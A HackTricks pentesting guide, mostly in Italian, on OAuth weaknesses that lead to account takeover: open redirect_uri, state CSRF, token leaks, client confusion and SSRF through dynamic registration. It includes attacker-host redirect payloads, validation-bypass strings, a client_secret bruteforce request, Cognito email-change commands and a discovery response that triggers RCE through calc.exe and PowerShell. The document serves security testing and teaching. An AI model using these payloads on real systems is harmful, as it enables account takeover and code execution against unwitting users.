OAuth to Account takeover
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
OAuth offre varie versioni, con approfondimenti di base disponibili su OAuth 2.0 documentation. Questa trattazione si concentra principalmente sul diffuso OAuth 2.0 authorization code grant type, fornendo un framework di autorizzazione che permette a unâapplicazione di accedere o compiere azioni sullâaccount di un utente in unâaltra applicazione (il authorization server).
Considera un sito ipotetico https://example.com, progettato per mostrare tutti i tuoi post sui social media, inclusi quelli privati. Per farlo viene usato OAuth 2.0. https://example.com chiederĂ il tuo permesso per accedere ai tuoi post sui social media. Di conseguenza, sul sito https://socialmedia.com apparirĂ una schermata di consenso che descrive le autorizzazioni richieste e lo sviluppatore che le richiede. Dopo la tua autorizzazione, https://example.com ottiene la possibilitĂ di accedere ai tuoi post per tuo conto.
Ă essenziale comprendere i seguenti componenti allâinterno del framework OAuth 2.0:
- resource owner: Tu, come utente/entitĂ , che autorizzi lâaccesso alla tua risorsa, ad esempio i post del tuo account social.
- resource server: Il server che gestisce le richieste autenticate dopo che lâapplicazione ha ottenuto un
access_tokenper conto delresource owner, es. https://socialmedia.com. - client application: Lâapplicazione che richiede lâautorizzazione dal
resource owner, come https://example.com. - authorization server: Il server che emette i
access_tokensalclient applicationdopo la corretta autenticazione delresource ownere lâottenimento dellâautorizzazione, es. https://socialmedia.com. - client_id: Un identificatore pubblico e univoco per lâapplicazione.
- client_secret: Una chiave riservata, nota solo allâapplicazione e allâauthorization server, usata per generare
access_tokens. - response_type: Un valore che specifica il tipo di token richiesto, come
code. - scope: Il livello di accesso che il
client applicationsta richiedendo alresource owner. - redirect_uri: LâURL su cui lâutente viene reindirizzato dopo lâautorizzazione. Tipicamente deve corrispondere allâURL di redirect preregistrato.
- state: Un parametro per mantenere dati durante il reindirizzamento dellâutente verso e dallâauthorization server. La sua unicità è critica per fungere da meccanismo di protezione CSRF.
- grant_type: Un parametro che indica il tipo di grant e il tipo di token da restituire.
- code: Il codice di autorizzazione dellâ
authorization server, usato insieme aclient_ideclient_secretdallâapplicazione client per ottenere unaccess_token. - access_token: Il token che lâapplicazione client usa per le richieste API per conto del
resource owner. - refresh_token: Permette allâapplicazione di ottenere un nuovo
access_tokensenza richiedere nuovamente lâinterazione dellâutente.
Flusso
Il flusso OAuth reale procede come segue:
- Visiti https://example.com e selezioni il pulsante âIntegrate with Social Mediaâ.
- Il sito invia quindi una richiesta a https://socialmedia.com chiedendo la tua autorizzazione per permettere allâapplicazione di https://example.com di accedere ai tuoi post. La richiesta è strutturata come:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Ti viene quindi presentata una pagina di consenso.
- Dopo la tua approvazione, Social Media invia una risposta al
redirect_uricon i parametricodeestate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utilizza questo
code, insieme ai suoiclient_ideclient_secret, per effettuare una richiesta lato server per ottenere unaccess_tokenper tuo conto, consentendo lâaccesso alle autorizzazioni a cui hai acconsentito:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Infine, il processo si conclude quando https://example.com utilizza il tuo
access_tokenper effettuare una chiamata API a Social Media per accedere
VulnerabilitĂ
redirect_uri aperto
Secondo RFC 6749 §3.1.2, il server di autorizzazione deve reindirizzare il browser solo a redirect URI pre-registrati ed esatti. Qualsiasi debolezza qui permette a un attaccante di indirizzare una vittima tramite un URL di autorizzazione malevolo in modo che lâIdP consegni il code (e lo state) della vittima direttamente a un endpoint controllato dallâattaccante, che può poi riscattarlo e raccogliere i token.
Flusso dâattacco tipico:
- Craft
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacke inviarlo alla vittima. - La vittima si autentica e approva gli scope.
- LâIdP reindirizza a
attacker.tld/callback?code=<victim-code>&state=...dove lâattaccante registra la richiesta e scambia immediatamente il code.
Bug di validazione comuni da testare:
- Nessuna validazione â qualsiasi URL assoluto viene accettato, risultando in furto immediato del
code. - Controlli deboli su substring/regex sullâhost â bypass con lookalike come
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, omatch.com@evil.com. - Mismatch di omografi IDN â la validazione avviene sulla forma punycode (
xn--), ma il browser reindirizza al dominio Unicode controllato dallâattaccante. - Percorsi arbitrari su un host consentito â puntare
redirect_uria/openredirect?next=https://attacker.tldo a qualsiasi endpoint XSS/contenuto utente leaks ilcodesia tramite redirect concatenati, Referer headers, o JavaScript iniettato. - Vincoli di directory senza normalizzazione â pattern come
/oauth/*possono essere bypassati con/oauth/../anything. - Wildcard su sottodomini â accettare
*.example.comsignifica che qualsiasi takeover (dangling DNS, S3 bucket, ecc.) fornisce immediatamente un callback valido. - Callback non-HTTPS â permettere URI
http://dĂ agli attacker in rete (WiâFi, proxy aziendale) lâopportunitĂ di catturare ilcodein transito.
Rivedi anche i parametri ausiliari in stile redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, ecc.) e il documento di discovery OpenID (/.well-known/openid-configuration) per endpoint aggiuntivi che potrebbero ereditare gli stessi bug di validazione.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Vincolare redirect_uri a âowned/first-party domainsâ non aiuta se qualsiasi dominio allowlisted espone percorsi o contesti di esecuzione controllati dallâattaccante (piattaforme app legacy, namespace utente, upload CMS, ecc.). Se il flusso OAuth/federated login restituisce token nellâURL (query o hash), un attaccante può:
- Avviare un flow legittimo per mintare un pre-token (es. un
etokenin un flusso multi-step Accounts Center/FXAuth). - Inviare alla vittima un URL di autorizzazione che imposta il dominio allowlisted come
redirect_uri/base_urima puntanext/path in uno namespace controllato dallâattaccante (es.https://apps.facebook.com/<attacker_app>). - Dopo che la vittima approva, lâIdP reindirizza al path controllato dallâattaccante con valori sensibili nellâURL (
token,blob, codes, ecc.). - JavaScript su quella pagina legge
window.locationed esfiltra i valori nonostante il dominio sia âtrusted.â - Replay dei valori catturati contro endpoint privilegiati downstream che si aspettano solo i token trasportati dal redirect. Esempi dal flusso FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS nellâimplementazione del redirect
Come menzionato in questo bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html potrebbe essere possibile che il redirect URL venga riflesso nella risposta del server dopo che lâutente si autentica, risultando vulnerabile a XSS. Payload possibile da testare:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Gestione impropria del parametro state
Il state parameter è il token CSRF dellâAuthorization Code flow: il client deve generare un valore criptograficamente casuale per ogni istanza del browser, conservarlo in un posto leggibile solo da quel browser (cookie, local storage, ecc.), inviarlo nella authorization request e rifiutare qualsiasi response che non ritorni lo stesso valore. Quando il valore è statico, prevedibile, opzionale o non legato alla sessione dellâutente, lâattaccante può completare il proprio OAuth flow, catturare la richiesta finale ?code= (senza inviarla) e successivamente costringere il browser della vittima a riprodurre quella richiesta in modo che lâaccount della vittima venga collegato al profilo dellâidentity provider dellâattaccante.
Lo schema di replay è sempre lo stesso:
- Lâattaccante si autentica contro lâIdP con il proprio account e intercetta lâultimo redirect contenente
code(e qualsiasistate). - Scarta quella richiesta, conserva lâURL, e piĂš tardi abusa di qualsiasi primitiva CSRF (link, iframe, form che si auto-invia) per forzare il browser della vittima a caricarla.
- Se il client non verifica il
state, lâapp consuma il risultato di autorizzazione dellâattaccante e autentica lâattaccante sullâaccount dellâapp della vittima.
Una check-list pratica per la gestione del state durante i test:
- Assenza totale del
stateâ se il parametro non appare mai, tutto il login è vulnerabile a CSRF. statenon richiesto â rimuovilo dalla richiesta iniziale; se lâIdP emette comunque code che il client accetta, la difesa è opt-in.stateritornato non validato â manometti il valore nella response (Burp, MITM proxy). Accettare valori non corrispondenti significa che il token memorizzato non viene mai confrontato.stateprevedibile o puramente basato su dati â molte app inseriscono redirect path o JSON blob nelstatesenza mescolare entropia, permettendo agli attaccanti di indovinare valori validi e riprodurre i flow. Prependere/appendere sempre forte entropia prima di codificare i dati.- Fixation del
stateâ se lâapp permette agli utenti di fornire il valore distate(es. tramite URL di authorization costruite ad arte) e lo riusa durante tutto il flow, un attaccante può fissare un valore noto e riusarlo su piĂš vittime.
PKCE può completare il state (soprattutto per public clients) vincolando lâauthorization code a un code verifier, ma i web clients devono comunque tracciare il state per prevenire bug di CSRF/collegamento account cross-user.
Pre Account Takeover
- Without Email Verification on Account Creation: gli attaccanti possono creare preventivamente un account usando lâemail della vittima. Se la vittima in seguito utilizza un servizio di terze parti per il login, lâapplicazione potrebbe collegare involontariamente quellâaccount di terze parti allâaccount pre-creato dallâattaccante, portando ad accessi non autorizzati.
- Exploiting Lax OAuth Email Verification: gli attaccanti possono sfruttare servizi OAuth che non verificano le email registrandosi con il loro servizio e poi modificando lâemail dellâaccount con quella della vittima. Questo metodo comporta rischi analoghi di accesso non autorizzato, simile al primo scenario ma tramite un vettore dâattacco diverso.
Disclosure of Secrets
Il client_id è intenzionalmente pubblico, ma il client_secret non deve mai essere recuperabile dagli utenti finali. Deployment dellâAuthorization Code che incorporano il secret in mobile APKs, desktop clients, or single-page apps consegnano effettivamente quella credenziale a chiunque possa scaricare il pacchetto. Ispeziona sempre i public clients:
- Disimballando lâAPK/IPA, il desktop installer o lâElectron app e cercando
client_secret, blob Base64 che decodificano in JSON, o endpoint OAuth hard-coded. - Revisionando file di configurazione inclusi (plist, JSON, XML) o stringhe decompilate alla ricerca di credenziali client.
Una volta che lâattaccante estrae il secret, gli basta rubare qualsiasi code di autorizzazione della vittima (via un redirect_uri debole, logs, ecc.) per chiamare /token in modo indipendente e ottenere access/refresh token senza coinvolgere lâapp legittima. Tratta i public/native clients come incapaci di mantenere segreti â dovrebbero invece fare affidamento su PKCE (RFC 7636) per provare il possesso di un code verifier per istanza anzichĂŠ un secret statico. Durante i test, verifica se PKCE è obbligatorio e se il backend rifiuta effettivamente gli scambi di token che omettono o il client_secret o un valido code_verifier.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: dopo il redirect OAuth, qualsiasi navigazione che mantiene
?code=&state=nellâURL li includerĂ nellâheader Referer inviato a CDNs/analytics/ads. - Telemetry/analytics confused deputy: alcune SDK (pixels/JS loggers) reagiscono a eventi
postMessagee poi inviare lâattualelocation.href/referreralle API di backend usando un token fornito nel messaggio`. Se riesci a iniettare il tuo token in quel flusso (es. tramite un postMessage relay controllato dallâattaccante), puoi poi leggere la cronologia/richieste delle API dellâSDK e recuperare gli OAuth artifacts della vittima incorporati in quelle richieste.
Access Token Stored in Browser History
La garanzia principale dellâAuthorization Code grant è che access tokens never reach the resource ownerâs browser. Quando le implementazioni leak token lato client, qualsiasi piccolo bug (XSS, Referer leak, proxy logging) diventa compromissione immediata dellâaccount. Controlla sempre:
- Tokens in URLs â se
access_tokenappare nella query/fragment, finisce nella cronologia del browser, nei log dei server, nelle analytics e negli header Referer inviati a terze parti. - Tokens transiting untrusted middleboxes â restituire token su HTTP o attraverso proxy di debug/corporate permette agli osservatori di rete di catturarli direttamente.
- Tokens stored in JavaScript state â store di React/Vue, variabili globali o blob JSON serializzati espongono token a ogni script sullâorigine (inclusi payload XSS o estensioni malevole).
- Tokens persisted in Web Storage â
localStorage/sessionStoragetrattengono i token molto dopo il logout su dispositivi condivisi e sono accessibili via script.
Qualunque di queste evidenze normalmente eleva bug altrimenti âbassiâ (come un CSP bypass o DOM XSS) a full API takeover perchĂŠ lâattaccante può semplicemente leggere e riprodurre il bearer token leakato.
Everlasting Authorization Code
I codici di autorizzazione devono essere short-lived, single-use, and replay-aware. Quando valuti un flow, cattura un code e:
- Test the lifetime â RFC 6749 raccomanda minuti, non ore. Prova a riscattare il code dopo 5â10 minuti; se funziona ancora, la finestra di esposizione per qualsiasi code leakato è eccessiva.
- Test sequential reuse â invia lo stesso
codedue volte. Se la seconda richiesta restituisce un altro token, gli attaccanti possono clonare sessioni indefinitamente. - Test concurrent redemption/race conditions â spara due richieste token in parallelo (Burp intruder, turbo intruder). Issuer deboli a volte concedono entrambi.
- Observe replay handling â un tentativo di reuse non dovrebbe solo fallire ma anche revocare eventuali token giĂ emessi da quel code. Altrimenti, un replay rilevato lascia attivo il primo token dellâattaccante.
Combinare un code riutilizzabile con qualunque redirect_uri o bug di logging permette accesso persistente agli account anche dopo che la vittima completa il login legittimo.
Authorization/Refresh Token not bound to client
Se puoi ottenere lâauthorization code e riscattarlo per un client/app diversa, puoi takeover altri account. Verifica un binding debole:
- Catturare un
codeper app A e inviarlo allâendpoint token di app B; se ricevi comunque un token, il binding dellâaudience è rotto. - Provare endpoint di minting token first-party che dovrebbero essere limitati ai loro stessi client ID; se accettano
state/app_idarbitrari mentre validano solo il code, effettivamente esegui uno authorization-code swap per mintare token first-party con privilegi piĂš alti. - Controllare se il client binding ignora mismatch di nonce/redirect URI. Se una pagina di errore carica comunque SDK che loggano
location.href, combina con Referer/telemetry leaks per rubare code e riscattarli altrove.
Qualsiasi endpoint che scambia code â token deve verificare il client emittente, il redirect URI e il nonce; altrimenti, un code rubato da qualsiasi app può essere upgradato a un access token first-party.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In questo bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ puoi vedere che il token che AWS Cognito restituisce allâutente potrebbe avere sufficienti permessi per sovrascrivere i dati utente. Pertanto, se puoi cambiare lâemail di un utente con unâaltra email, potresti essere in grado di take over gli account di altri.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Per informazioni piĂš dettagliate su come abusare AWS Cognito controlla AWS Cognito - Unauthenticated Enum Access.
Abuso dei token di altre App
Come menzionato in questo writeup, i flussi OAuth che si aspettano di ricevere il token (e non un code) potrebbero essere vulnerabili se non verificano che il token appartenga allâapp.
Questo perchĂŠ un attacker potrebbe creare unâapplication supporting OAuth and login with Facebook (per esempio) nella propria application. Poi, una volta che un victim effettua il login con Facebook nellâattackers application, lâattacker potrebbe ottenere il token OAuth dellâutente fornito alla sua application, e usarlo per effettuare il login nellâOAuth application della vittima usando il token dellâutente vittima.
Caution
Pertanto, se lâattacker riesce a far accedere lâuser alla propria OAuth application, sarĂ in grado di takeover lâaccount della victim in applicazioni che si aspettano un token e non verificano se il token è stato concesso al loro app ID.
Two links & cookie
Secondo questo writeup, era possibile far aprire a una victim una pagina con un returnUrl che punta allâhost dellâattacker. Questa info verrebbe memorizzata in un cookie (RU) e in un passaggio successivo il prompt chiederĂ allâuser se vuole dare accesso a quellâattackers host.
Per bypassare questo prompt, era possibile aprire una tab per iniziare il Oauth flow che avrebbe impostato questo cookie RU usando il returnUrl, chiudere la tab prima che il prompt venisse mostrato, e aprire una nuova tab senza quel valore. In questo modo, il prompt non informerĂ sullâattackers host, ma il cookie sarĂ impostato su di esso, quindi il token verrĂ inviato allâattackers host nella redirect.
Prompt Interaction Bypass
Come spiegato in questo video, alcune implementazioni OAuth permettono di indicare il parametro GET prompt come None (&prompt=none) per evitare che agli utenti venga chiesto di confermare lâaccesso nella prompt sul web se sono giĂ loggati nella piattaforma.
response_mode
Come spiegato in questo video, potrebbe essere possibile indicare il parametro response_mode per specificare dove vuoi che il code venga fornito nellâURL finale:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
I dialog di consent/login OAuth sono obiettivi ideali per clickjacking: se possono essere incorniciati, un attacker può sovrapporre grafiche personalizzate, nascondere i pulsanti reali e indurre gli utenti ad approvare scope pericolosi o collegare account. Costruisci PoC che:
- Carichino lâIdP authorization URL dentro un
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Usino posizionamento assoluto/trucchi di opacitĂ per allineare pulsanti falsi con i controlli Allow/Approve nascosti.
- Facoltativamente pre-compilino parametri (scopes, redirect URI) in modo che lâapprovazione rubata benefici immediatamente lâattacker.
Durante il testing verifica che le pagine IdP emettano X-Frame-Options: DENY/SAMEORIGIN o una Content-Security-Policy: frame-ancestors 'none' restrittiva. Se nessuna è presente, dimostra il rischio con tool come NCC Groupâs clickjacking PoC generator e registra quanto facilmente una victim autorizza lâapp dellâattacker. Per idee di payload aggiuntive vedi Clickjacking.
OAuth ROPC flow - 2 FA bypass
Secondo questo blog post, questo è un OAuth flow che permette di autenticarsi via username e password. Se durante questo semplice flow viene restituito un token con accesso a tutte le azioni che lâuser può eseguire, allora è possibile bypassare la 2FA usando quel token.
ATO on web page redirecting based on open redirect to referrer
Questo blogpost descrive come sia stato possibile abusare di un open redirect usando il valore del referrer per sfruttare OAuth per ottenere ATO. Lâattacco era:
- Victim accede alla pagina web dellâattacker
- La victim apre il link maligno e un opener avvia il Google OAuth flow con
response_type=id_token,code&prompt=nonecome parametri aggiuntivi usando come referrer il sito dellâattacker. - Nellâopener, dopo che il provider autorizza la victim, questa viene reindirizzata al valore del parametro
redirect_uri(sito della victim) con un codice 30X che mantiene comunque il sito dellâattacker nel referer. - Il sito della victim attiva lâopen redirect basandosi sul referrer reindirizzando la victim allâattackers website; poichĂŠ il
respose_typeeraid_token,code, il code sarĂ inviato allâattacker nel fragment dellâURL permettendogli di takeover lâaccount dellâuser via Google sul sito della victim.
SSRFs parameters
Check this research Per maggiori dettagli su questa tecnica.
Dynamic Client Registration in OAuth funge da vettore meno ovvio ma critico per vulnerabilitĂ di sicurezza, specificamente per attacchi di Server-Side Request Forgery (SSRF). Questo endpoint permette agli OAuth server di ricevere dettagli sulle client applications, inclusi URL sensibili che potrebbero essere sfruttati.
Punti chiave:
- Dynamic Client Registration è spesso mappato su
/registere accetta dettagli comeclient_name,client_secret,redirect_uris, e URL per logos o JSON Web Key Sets (JWKs) tramite richieste POST. - Questa feature aderisce alle specifiche in RFC7591 e OpenID Connect Registration 1.0, che includono parametri potenzialmente vulnerabili a SSRF.
- Il processo di registrazione può inavvertitamente esporre i server a SSRF in diversi modi:
logo_uri: Un URL per il logo della client application che potrebbe essere fetchato dal server, innescando SSRF o portando a XSS se lâURL è gestito male.jwks_uri: Un URL al documento JWK del client, che se creato in modo maligno può indurre il server a fare richieste outbound verso un server controllato dallâattacker.sector_identifier_uri: Riferisce a un array JSON diredirect_uris, che il server potrebbe fetchare, creando unâopportunitĂ SSRF.request_uris: Elenca request URIs consentite per il client, che può essere sfruttato se il server recupera questi URI allâinizio del processo di autorizzazione.
Strategia di sfruttamento:
- SSRF può essere innescato registrando un nuovo client con URL maligni in parametri come
logo_uri,jwks_uri, osector_identifier_uri. - Mentre lo sfruttamento diretto tramite
request_urispuò essere mitigato da controlli di whitelist, fornire unrequest_uripre-registrato e controllato dallâattacker può facilitare SSRF durante la fase di autorizzazione.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
La ricerca su CVE-2025-6514 (che impatta client mcp-remote come Claude Desktop, Cursor o Windsurf) mostra come la dynamic OAuth discovery diventi una primitiva RCE ogni volta che il client inoltra i metadata dellâIdP direttamente al sistema operativo. Il server MCP remoto restituisce un authorization_endpoint controllato dallâattacker durante lo scambio di discovery (/.well-known/openid-configuration o qualsiasi metadata RPC). mcp-remote â¤0.1.15 poi chiamava il system URL handler (start, open, xdg-open, ecc.) con qualunque stringa ricevuta, quindi qualsiasi scheme/path supportato dal SO veniva eseguito localmente.
Workflow dellâattacco
- Puntare il desktop agent a un server MCP/OAuth ostile (
npx mcp-remote https://evil). Lâagent riceve un 401 piĂš metadata. - Il server risponde con JSON del tipo:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Il client avvia lâOS handler per lâURI fornito. Windows accetta payloads come
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux accettanofile:///Applications/Calculator.app/...o anche schemi personalizzati comecmd://bash -lc '<payload>'se registrati. - PoichĂŠ questo avviene prima di qualsiasi interazione dellâutente, la sola configurazione del client per comunicare con il server dellâattaccante comporta lâesecuzione di codice.
How to test
- Mirare qualsiasi desktop/agent compatibile con OAuth che esegua discovery su HTTP(S) e apra localmente gli endpoint restituiti (Electron apps, CLI helpers, thick clients).
- Intercetta o ospita la discovery response e sostituisci
authorization_endpoint,device_authorization_endpoint, o campi simili confile://,cmd://, percorsi UNC, o altri schemi pericolosi. - Osserva se il client valida lo scheme/host. La mancanza di validazione porta a esecuzione immediata nel contesto dellâutente e dimostra il problema.
- Ripeti con schemi diversi per mappare lâintera attack surface (e.g.,
ms-excel:,data:text/html,, custom protocol handlers) e dimostrare la portata cross-platform.
OAuth providers Race Conditions
Se la piattaforma che stai testando è un OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, il campo sub identifica in modo univoco un utente, ma il suo formato varia a seconda dellâAuthorization Server. Per standardizzare lâidentificazione, alcuni client usano email o handle utente. Tuttavia, questo è rischioso perchĂŠ:
- Alcuni Authorization Server non garantiscono che queste proprietĂ (come lâemail) rimangano immutabili.
- In alcune implementazioniâcome âLogin with Microsoftââil client si affida al campo email, che è user-controlled by the user in Entra ID e non verificato.
- Un attaccante può sfruttare questo creando la propria organizzazione Azure AD (e.g., doyensectestorg) e usandola per effettuare un Microsoft login.
- Anche se lâObject ID (memorizzato in sub) è immutabile e sicuro, lâaffidamento a un campo email mutabile può consentire un account takeover (per esempio, il dirottamento di un account come victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack, unâapplicazione che usa lâOAuth Implicit Flow non verifica che il final access token sia stato generato specificamente per il proprio Client ID. Un attaccante mette su un sito web pubblico che usa Googleâs OAuth Implicit Flow, inducendo migliaia di utenti a effettuare il login e raccogliendo cosĂŹ access tokens destinati al sito dellâattaccante. Se questi utenti hanno anche account su un altro sito vulnerabile che non valida il Client ID del token, lâattaccante può riutilizzare i token raccolti per impersonare le vittime ed eseguire un account takeover.
Scope Upgrade Attack
Il tipo Authorization Code Grant comporta comunicazione server-to-server sicura per la trasmissione dei dati utente. Tuttavia, se lâAuthorization Server si fida implicitamente di un parametro scope nella Access Token Request (un parametro non definito nellâRFC), unâapplicazione malevola potrebbe elevare i privilegi di un authorization code richiedendo uno scope maggiore. Dopo che lâAccess Token è stato generato, il Resource Server deve verificarlo: per token JWT ciò comporta il controllo della JWT signature ed estrazione di dati come client_id e scope, mentre per token random string il server deve interrogare lâAuthorization Server per recuperare i dettagli del token.
Redirect Scheme Hijacking
Nelle implementazioni mobile di OAuth, le app usano custom URI schemes per ricevere i redirect con Authorization Codes. Tuttavia, poichĂŠ piĂš app possono registrare lo stesso scheme su un dispositivo, lâassunzione che solo il client legittimo controlli il redirect URI viene violata. Su Android, per esempio, un Intent URI come com.example.app:// oauth viene intercettato in base allo scheme e ai filtri opzionali definiti in unâappâs intent-filter. PoichĂŠ la risoluzione degli intent di Android può essere ampiaâspecialmente se viene specificato solo lo schemeâun attaccante può registrare unâapp malevola con un intent filter studiato per hijackare lâauthorization code. Questo può enable an account takeover sia tramite interazione dellâutente (quando piĂš app sono idonee a gestire lâintent) sia tramite tecniche di bypass che sfruttano filtri eccessivamente specifici, come dettagliato dal flowchart di Ostorlab.
Riferimenti
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


